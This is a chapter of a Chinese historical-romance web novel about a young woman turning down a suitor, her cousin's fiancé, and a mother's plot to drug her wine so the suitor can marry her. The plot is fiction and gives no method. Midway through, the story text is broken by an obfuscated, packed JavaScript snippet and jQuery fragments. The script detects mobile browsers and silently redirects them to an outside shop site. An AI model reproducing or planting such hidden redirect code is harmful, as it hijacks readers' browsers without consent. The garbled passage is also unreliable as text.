虞满和顾向宣从贡院走出来。
他们并未注意到方才墙外有人在听他们说话。虞满将话说清楚了，也表达了感谢，心情一松。而顾向宣则明显失望，垂着头。
气氛有点沉默，虞满忍不住开口询问：“顾公子，你是借住平远侯府？那你平时和顾大人见面次数多吗？”
顾向宣心中苦笑，实话实说：“我住侯府的外院，算是客居。这些日子也忙于读书。族兄公务繁忙，前些日子还去京师学堂教授了一堂课，实在见得不多。”
虞满有些诧异：“他去京师学堂授课？”
顾向宣疑惑这件事她竟然不知道，便说：“是，族兄还提点了大理寺卿之子，让他将心思放在学习上。”
虞满若有所思，难怪方嘉誉会同母亲一起来姚府，同她道歉，也和她表明今后会好好考学，不会再对她造成困扰。
原来是因为顾珏洲批他了。
虞满忽然有点想笑，她开口，声音柔了几分：“还挺好玩的。”
顾向宣问：“虞姑娘为何会中意他呢？”
他说完，意识到自己问了一个很蠢的问题。
京中喜欢顾珏洲的女子太多，根本没什么好惊讶的。
果然，虞满只同他道：“因为顾大人生得好看啊。”
顾向宣的心又灰了几分，他点了点头，二人已经走到贡院门口。
他道：“今日同虞姑娘一起，很开心。你的意思我明白了。”
虞满同他道别。
两人又坐各自的马车回去。
走出一阵，雪荷道：“没想到，那日小姐去看春闱放榜，竟然吸引了如此多人的注意。”
她如今知晓的，便已经有了三个。还不知今后会不会有更多。
虞满坐在车上，迫不及待地将张柔徽送她的画笔拆封。
果然是一套上好的画笔，产自徽州，做工精巧，笔身上用彩墨点缀着复杂的花纹，哪怕出现在皇帝的御桌上，也没什么不合适。
她宝贝极了，当下又嘱咐车夫拐去朱雀大街，买了一套新颜料，专配她的新画笔。
回到府中，姚沛音上前亲热地挽住她的手，对她道：“陈则来了，你要见吗？”
虞满的兴趣被挑起，她早就想见一见表姐这位未婚夫，当即便欣然答应下来。
陈则正与姚崇在正堂谈事。
他父亲为吏部侍郎，陈则也在吏部中做事，踏实肯干，这次奉命去幽州负责当地官员考课，任务完成得比较顺利，他提前回来了。
先回了一趟陈府，和父亲复命后，便带着些幽州的特产作为礼物，来姚府拜会。
姚沛音和虞满一同到了正堂。
陈公子不卑不亢地坐在姚崇对面，同他说这次在幽州的见闻，姚崇时不时点头。
看见姚沛音，他立刻站了起来，眼睛亮亮的。
虞满见这位陈公子的容貌端正且十分耐看，而且他第一时间看向表姐。
她觉得此人不错。
姚沛音向陈则介绍：“这位是我的表妹，她姓虞，小字皎皎。她是从扬州来的，要在我们姚府住到年底。”
陈则对着虞满点头，温和有礼：“表妹好。”
姚崇也在打量着陈则，他本就对这位侍郎之子看法不错，见他这次从幽州回来，比当初订婚时更添稳重，他又放心了两分。
便道：“你们年轻人聊一聊。沛音，陈公子一会儿还要回吏部，别耽误人家的公事。”
他知道陈则正直有礼，放心让他们相处。但碍于京中嫁娶的礼仪，还是不要聊太久。
姚崇一走，姚沛音就冲陈则嘟囔：“我会耽误你的公事吗？”
陈则笑了：“不会的。该处理的我都处理完了，才过来看看你。”
虞满心里有点了点头，这位陈公子看起来不会说什么花言巧语来哄人，行动上却又都落到了实处，很妥帖。
“我就说。”姚沛音高兴了，问他在幽州怎么样，公务难不难做之类的问题。陈则都一一回答，很有耐心，说话始终不急不缓。
最后，陈则大概想起了姚崇的嘱咐，他道：“月底在京城的灯会，沛音，我们可以同去吗？”
“好啊。”姚沛音答应下来，又看向虞满，“皎皎也和我们一起去，你还是第一次见灯会吧。”
又忽然意识到什么，对陈则道：“才坐了多久，你要走了？”
陈则声音放慢，有些无奈：“沛音，按礼仪，成婚前最好少见面......”
姚沛音：“那灯会你也不要约我参加了。”
陈则无奈地开始哄：“我不是这个意思。我听说这次灯会的灯王会很好看，我已经订好了位置，到时我们一起去看，好不好？”
“行吧。”姚沛音的心情回复，又问他，“接下来你还会去外地吗？”
陈则便一五一十和她说：“最近两个月不会了，到了七八月份，可能会往幽州再去一趟，也不会待太久。随后一直到我们成亲，我都会留在京城，哪里都不去了。”
他说的很详细，显然对自己这一年的公务安排心中很有数，也让自己未来的夫人心中有数。
姚沛音想了想，她还能接受，便应了下来：“那灯会那日，你来接我和皎皎。”
陈则颔首：“没问题。”
说罢，他又去和康安伯、姚崇都告了别，便离开了姚府。
直到他走远，姚沛音拉起虞满的手，气鼓鼓的：“我说他就是根木头吧！”
虞满却笑着说：“表姐，木头也有木头的好。”
“陈公子看上去会是一位很细致又顾家的丈夫，他做事沉稳，在公务上应当也不会出错的。”
姚沛音的脸有些红，她伸出手在面颊上贴了贴，又问起虞满今日在贡院如何，和顾向宣相处得怎么样。
原该在虞满一回来时就问的，可惜陈则来了，姚沛音没顾上。
“我也和他说清楚了。除此之外，我想问他关于顾大人的情况，”虞满道，“可惜他只是客居在平远侯府，素日和顾大人见不到几次面。”
“他不是京城人啊？”姚沛音一听就摇头，“那不行，皎皎，你不能嫁去外地。”
“我都拒绝他了呀。”虞满道，又将今日认识张柔徽的事同她讲，说自己还是很幸运的，认识了一位知音，学到了好多作画的知识。
她迫不及待想试一试新画笔和新颜料，又拉着姚沛音去了晚香院。
-
顾珏洲线回平远侯府，不多时，小厮同他道：“向宣公子过来了。”
顾珏洲略略抬头，看见顾向宣来到他所在的览山院门口，表情失落。
“回来了？”他淡淡道，“今日如何？”
廖行看他一眼，主子明知故问。
顾向宣沉默片刻，回来的路上，他反复回想虞姑娘的意思，便忽然想来见顾珏洲。
他有些不平。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620025|205204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>但见到族兄后，他的不平散得彻底。
他没有资格质问，面对面会让差距对比更明显，他只是燕雀，族兄是鸿鹄。虞姑娘心悦他，很正常。
顾珏洲却敏锐地看出他的意图。
对潜在的敌意，顾珏洲却没动怒，笑了声：“将心思放在考学上吧，它不会背叛你。”
顾向宣：“兄长当真对虞姑娘无意吗？”
顾珏洲眯了眯眼：“你需要我反复向你保证？”
他对廖行道：“送他出去。”
廖行从房中走出，抬手：“向宣公子，请回吧。”
顾向宣往外院走，又碰见了母亲张氏。
张氏也问了他同样的问题。
面对母亲，顾向宣能说的更多，他将今日发生的事情同母亲讲了一遍。
张氏在贡院门口看见过儿子的痴迷，对虞姑娘的拒绝，她早有准备。
她便问：“我只问你一句，你真喜欢她？”
顾向宣点点头，语气又有些失落：“但光儿子喜欢，没用。她今天已经明确拒绝，喜欢的是族兄，和传言所说一样。”
张氏眉头皱了皱。她不喜欢儿子流露出软弱，就和他那个不成器的爹一样。
便开口道：“她就算喜欢仲疏又如何，京中喜欢仲疏的女子多了去了，也没见仲疏瞧上她们中的任何一个。”
“这件事还有转圜余地，娘已经想到了一个办法，会有用的，你不要自怨自艾。”
顾向宣疑惑地看着母亲：“娘准备做什么？”
这些年，张氏操持一些生意，家中有财产，财力还算充足。而且张氏能借助生意由头，弄来一些好用的东西。
她道：“这你就不用管了，你听娘的话，好好念书，殿试上表现好些，不要再让我失望了。”
顾向宣本能地察觉出一丝危险，他连忙拦住想要起身的张氏，语气郑重：“娘，被拒绝很正常，虞姑娘并没有做错事。我知道您为儿子好，但您不要伤她。”
张氏拍了拍儿子的肩膀，语气慈爱：“娘是这样的人吗？娘也是女子，还能害她不成？”
顾向宣还是不太放心，他又提醒了一遍，直到张氏再次承诺，他才放心了些。
“那我先回房温书。”
看着儿子离开，张氏脸上的温情脉脉一点点消失，她唤来身边的嬷嬷。
“打听得如何？”
嬷嬷回答：“老奴都问了，这东西虽已经被官府封禁，但民间仍有流传，因其实在好用。只需要掺进酒水里就行。但是......”
张氏：“但是什么？”
“真要这么做？”嬷嬷道，“那是康安伯的外孙女。”
张氏纠正她：“若不是康安伯府的外孙女，我根本不会这么做。”
富贵险中求。现在他们这一支，要么靠顾向宣在殿试中翻盘，要么靠一门显赫姻亲。双管齐下，又有何不好。
她也会督促顾向宣好好考学，扶摇直上，日后不亏待康安伯的外孙女就行了。
嬷嬷又提醒：“虞姑娘中意小顾大人，而小顾大人之前好像帮过她。我听闻那日在京郊，小顾大人曾帮虞姑娘躲过了隆公子的骚扰。”
她把打听到的消息和张氏说了一遍，说得也不甚肯定。
张氏嗤之以鼻：“这种程度也算帮忙？隆公子纨绔，仲疏只举手之劳。他们没可能的。”
她让嬷嬷抓紧时间去弄药，再待时机。